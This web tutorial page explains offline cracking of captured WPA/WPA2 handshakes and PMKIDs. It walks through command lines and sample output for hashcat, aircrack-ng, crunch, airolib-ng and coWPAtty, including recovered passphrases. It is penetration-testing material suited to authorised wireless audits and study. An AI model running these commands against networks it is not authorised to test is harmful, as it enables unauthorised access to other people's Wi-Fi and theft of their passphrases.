Skip to content
HackIndex logo

HackIndex

Cracking WPA Handshakes and PMKIDs

4 min read Jul 10, 2026

WPA/WPA2 handshakes and PMKIDs are cracked offline by computing candidate PSKs and comparing the resulting MIC or PMKID against the captured value. The attack speed depends entirely on hardware — CPU-based cracking with aircrack-ng is slow but always available, while GPU-based cracking with hashcat can be orders of magnitude faster. The workflow starts with the best wordlists and rules before moving to slower brute-force approaches.

This page assumes you have a verified handshake capture or a PMKID hash file. See the handshake capture page or the PMKID capture page if needed.

Convert the Capture to Hashcat Format

hashcat does not read pcap files directly. Convert with hcxpcapngtool first. This handles both EAPOL handshakes and PMKIDs in a single output file:

┌──(kali㉿kali)-[~]
└─$ hcxpcapngtool -o hash.hc22000 handshake-01.cap 
PMKID (zeroed, usable):   1
EAPOL (pairs, usable):    1

Crack with aircrack-ng and a Wordlist

aircrack-ng works directly against the cap file. Use this for quick checks against common passwords before investing GPU time:

┌──(kali㉿kali)-[~]
└─$ aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake-01.cap 
                               Aircrack-ng 1.7

      [00:02:14] 487293/9822768 keys tested (3621.12 k/s)

      KEY FOUND! [ password123 ]

      Master Key     : AB CD EF ...

Crack with hashcat and a Wordlist

hashcat with -m 22000 handles both PMKIDs and EAPOL handshakes from the same hc22000 file:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

Show cracked results after the session completes or is interrupted:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 22000 hash.hc22000 --show 
WPA*02*...*TargetNetwork*:password123

Apply Rules for Better Coverage

Rules mutate wordlist entries to cover common password patterns like capitalisation, number suffixes, and character substitutions. The best64 rule set is a good starting point:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

For more aggressive mutation, combine multiple rule files or use the dive rule set which applies a much broader transformation set at the cost of longer runtime:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule

Generate Candidates with crunch

When the target passphrase follows a known pattern such as all digits or a fixed length, crunch generates a targeted candidate list and pipes it directly to aircrack-ng or hashcat. For an 8-digit numeric passphrase:

┌──(kali㉿kali)-[~]
└─$ crunch 8 8 0123456789 | aircrack-ng -w - -b AA:BB:CC:DD:EE:FF handshake-01.cap

For a pattern like a known prefix followed by digits:

┌──(kali㉿kali)-[~]
└─$ crunch 10 10 -t Company@%%% | aircrack-ng -w - -b AA:BB:CC:DD:EE:FF handshake-01.cap

Piping crunch directly to aircrack-ng avoids writing a large wordlist to disk. For hashcat, save to a file first or use stdin mode with - as the wordlist argument.

Pre-Computed PMK Tables with airolib-ng

If you are targeting the same SSID repeatedly, pre-computing the PMK table for a wordlist speeds up subsequent attacks significantly because the expensive PBKDF2 computation is done once and cached. Build the database:

┌──(kali㉿kali)-[~]
└─$ airolib-ng pmk.sqlite --import passwd /usr/share/wordlists/rockyou.txt
┌──(kali㉿kali)-[~]
└─$ airolib-ng pmk.sqlite --import essid TargetNetwork
┌──(kali㉿kali)-[~]
└─$ airolib-ng pmk.sqlite --batch

The --batch step computes and stores PMKs for every password and SSID combination. This takes time upfront but makes the actual crack instant. Once built, crack with:

┌──(kali㉿kali)-[~]
└─$ aircrack-ng -r pmk.sqlite handshake-01.cap

PMK tables are SSID-specific. A table built for TargetNetwork is useless against a different SSID. This technique is most valuable when assessing multiple APs sharing the same SSID, such as a corporate network with many access points.

Crack with coWPAtty

coWPAtty is a dedicated WPA dictionary cracker that works directly against pcap files. It is slower than hashcat but straightforward to use and useful as a cross-check when other tools give unexpected results:

┌──(kali㉿kali)-[~]
└─$ cowpatty -f /usr/share/wordlists/rockyou.txt -s TargetNetwork -r handshake-01.cap 
cowpatty 4.8 - WPA-PSK dictionary attack

Attempting to authenticate using password candidates from rockyou.txt
The PSK is: password123

4821932 passwords tested in 312.18 seconds (15,447.23 p/s)

-f specifies the wordlist, -s the SSID, and -r the capture file. The SSID must match exactly including case. coWPAtty also supports pre-computed hash files generated by genpmk for faster repeated attacks against the same SSID:

┌──(kali㉿kali)-[~]
└─$ genpmk -f /usr/share/wordlists/rockyou.txt -d pmk-table -s TargetNetwork
┌──(kali㉿kali)-[~]
└─$ cowpatty -d pmk-table -s TargetNetwork -r handshake-01.cap

Using a pre-computed hash file with -d instead of -f skips the PBKDF2 computation per candidate and is significantly faster. The trade-off is the table must be built per SSID.

References